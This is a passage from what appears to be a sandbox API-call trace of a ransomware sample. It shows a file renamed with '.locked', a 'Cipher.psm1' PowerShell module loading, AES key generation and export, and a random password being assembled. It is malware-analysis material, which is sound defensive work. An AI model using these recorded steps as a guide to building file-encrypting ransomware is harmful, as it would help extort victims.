[6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.456] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.458] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.458] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.458] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.458] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.458] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.460] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.461] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.461] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.461] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.461] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.462] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x69daf54 | out: lpFileInformation=0x69daf54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x135b73d9, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x135b73d9, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x135b73d9, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xe774)) returned 1 [0134.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.464] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked", lpFilePart=0x0) returned 0x3b [0134.464] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.464] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.464] CloseHandle (hObject=0x858) returned 1 [0134.466] GetConsoleOutputCP () returned 0x1b5 [0134.467] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.467] GetConsoleOutputCP () returned 0x1b5 [0134.467] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.467] GetConsoleOutputCP () returned 0x1b5 [0134.468] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.468] GetConsoleOutputCP () returned 0x1b5 [0134.468] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.468] GetConsoleOutputCP () returned 0x1b5 [0134.469] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.469] GetConsoleOutputCP () returned 0x1b5 [0134.469] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.469] GetConsoleOutputCP () returned 0x1b5 [0134.469] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.469] GetConsoleOutputCP () returned 0x1b5 [0134.470] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.470] GetConsoleOutputCP () returned 0x1b5 [0134.470] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.470] GetConsoleOutputCP () returned 0x1b5 [0134.471] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.471] GetConsoleOutputCP () returned 0x1b5 [0134.471] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.471] GetConsoleOutputCP () returned 0x1b5 [0134.471] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.471] GetConsoleOutputCP () returned 0x1b5 [0134.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.472] GetConsoleOutputCP () returned 0x1b5 [0134.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.472] GetConsoleOutputCP () returned 0x1b5 [0134.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.472] GetConsoleOutputCP () returned 0x1b5 [0134.473] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.473] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.473] GetConsoleOutputCP () returned 0x1b5 [0134.473] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.473] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.474] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a01bc4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a01bc4*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.474] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.475] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.479] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.479] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.479] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.479] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.479] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.479] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.479] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.481] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.481] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.481] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.481] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.482] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0134.482] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e854f8) returned 1 [0134.482] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.482] CryptExportKey (in: hKey=0x8e854f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.482] CryptExportKey (in: hKey=0x8e854f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a0b458, pdwDataLen=0x99ae894 | out: pbData=0x6a0b458*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.482] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.483] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.483] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.483] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.483] SysStringLen (param_1="") returned 0x8 [0134.483] SysStringLen (param_1="9") returned 0x8 [0134.483] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.483] SysStringLen (param_1="\x31f7\xcd08\x3d8f\x564c\xc07d\x2dc\x10fb\x81f5") returned 0x8 [0134.483] SysStringLen (param_1="\x31f7\xcd08\x3d8f\x564c\xc07d\x2dc\x10fb\x81f5") returned 0x8 [0134.483] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.483] SysStringLen (param_1="93") returned 0x8 [0134.483] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.483] SysStringLen (param_1="\x63f9\x95d\xbdc7\x7f00\x6fbc\xdbef\xd364\x62fc") returned 0x8 [0134.484] SysStringLen (param_1="\x63f9\x95d\xbdc7\x7f00\x6fbc\xdbef\xd364\x62fc") returned 0x8 [0134.484] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.484] SysStringLen (param_1="93b") returned 0x8 [0134.484] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.484] SysStringLen (param_1="\x2705\xecc\x3494\xf6ee\x663e\x54bf\xe804\xd7") returned 0x8 [0134.484] SysStringLen (param_1="\x2705\xecc\x3494\xf6ee\x663e\x54bf\xe804\xd7") returned 0x8 [0134.484] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.484] SysStringLen (param_1="93bd") returned 0x8 [0134.484] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.484] SysStringLen (param_1="\xfca4\x5495\xd380\xf93f\x1659\x4a1c\xc957\xbcb9") returned 0x8 [0134.484] SysStringLen (param_1="\xfca4\x5495\xd380\xf93f\x1659\x4a1c\xc957\xbcb9") returned 0x8 [0134.484] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.484] SysStringLen (param_1="93bdj") returned 0x8 [0134.484] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.484] SysStringLen (param_1="\x1fd2\xeda1\xbebc\x3837\x660\x18d7\x6686\xab22") returned 0x8 [0134.484] SysStringLen (param_1="\x1fd2\xeda1\xbebc\x3837\x660\x18d7\x6686\xab22") returned 0x8 [0134.484] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.484] SysStringLen (param_1="93bdjv") returned 0x8 [0134.485] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.485] SysStringLen (param_1="\x175a\x5bac\xafe2\x79e3\xa86\x463a\x574a\xe338") returned 0x8 [0134.485] SysStringLen (param_1="\x175a\x5bac\xafe2\x79e3\xa86\x463a\x574a\xe338") returned 0x8 [0134.485] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.485] SysStringLen (param_1="93bdjvx") returned 0x8 [0134.485] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.485] SysStringLen (param_1="\xb18d\xd309\x8ea1\x1195\xf89f\xb9b1\xd332\xb2e3") returned 0x8 [0134.485] SysStringLen (param_1="\xb18d\xd309\x8ea1\x1195\xf89f\xb9b1\xd332\xb2e3") returned 0x8 [0134.485] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.485] SysStringLen (param_1="93bdjvxP") returned 0x8 [0134.485] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.485] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422") returned 0x8 [0134.485] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422") returned 0x8 [0134.485] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422") returned 0x8 [0134.485] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422") returned 0x10 [0134.485] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.485] SysStringLen (param_1="93bdjvxPI狜灺湉䖰鰟䐦ꓱ") returned 0x10 [0134.485] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.486] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xcb0b\xac9e\xc618\xf41d\x7acb\x906d\x92e9\x11ac") returned 0x10 [0134.486] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xcb0b\xac9e\xc618\xf41d\x7acb\x906d\x92e9\x11ac") returned 0x10 [0134.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.486] SysStringLen (param_1="93bdjvxPIi灺湉䖰鰟䐦ꓱ") returned 0x10 [0134.486] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.486] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\x43ff\xb057\xfdaa\x9792\xf4e9\xa5de\x8217\xb54a") returned 0x10 [0134.486] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\x43ff\xb057\xfdaa\x9792\xf4e9\xa5de\x8217\xb54a") returned 0x10 [0134.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.486] SysStringLen (param_1="93bdjvxPIiM湉䖰鰟䐦ꓱ") returned 0x10 [0134.486] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.486] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xb257\xfbcd\xa60\x28c4\xb7b5\x6c28\x1d9f\x2db0") returned 0x10 [0134.486] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xb257\xfbcd\xa60\x28c4\xb7b5\x6c28\x1d9f\x2db0") returned 0x10 [0134.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.486] SysStringLen (param_1="93bdjvxPIiMu䖰鰟䐦ꓱ") returned 0x10 [0134.486] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.486] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\x3d22\x928f\x3f47\xc283\x470d\x1143\x3a7a\xbe24") returned 0x10 [0134.486] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\x3d22\x928f\x3f47\xc283\x470d\x1143\x3a7a\xbe24") returned 0x10 [0134.486] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.487] SysStringLen (param_1="93bdjvxPIiMuo鰟䐦ꓱ") returned 0x10 [0134.487] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.487] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\x1f4f\xd934\xe64c\x7dcd\x485b\xcb58\x3bfc\x9186") returned 0x10 [0134.487] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\x1f4f\xd934\xe64c\x7dcd\x485b\xcb58\x3bfc\x9186") returned 0x10 [0134.487] SystemFunction041 (in: 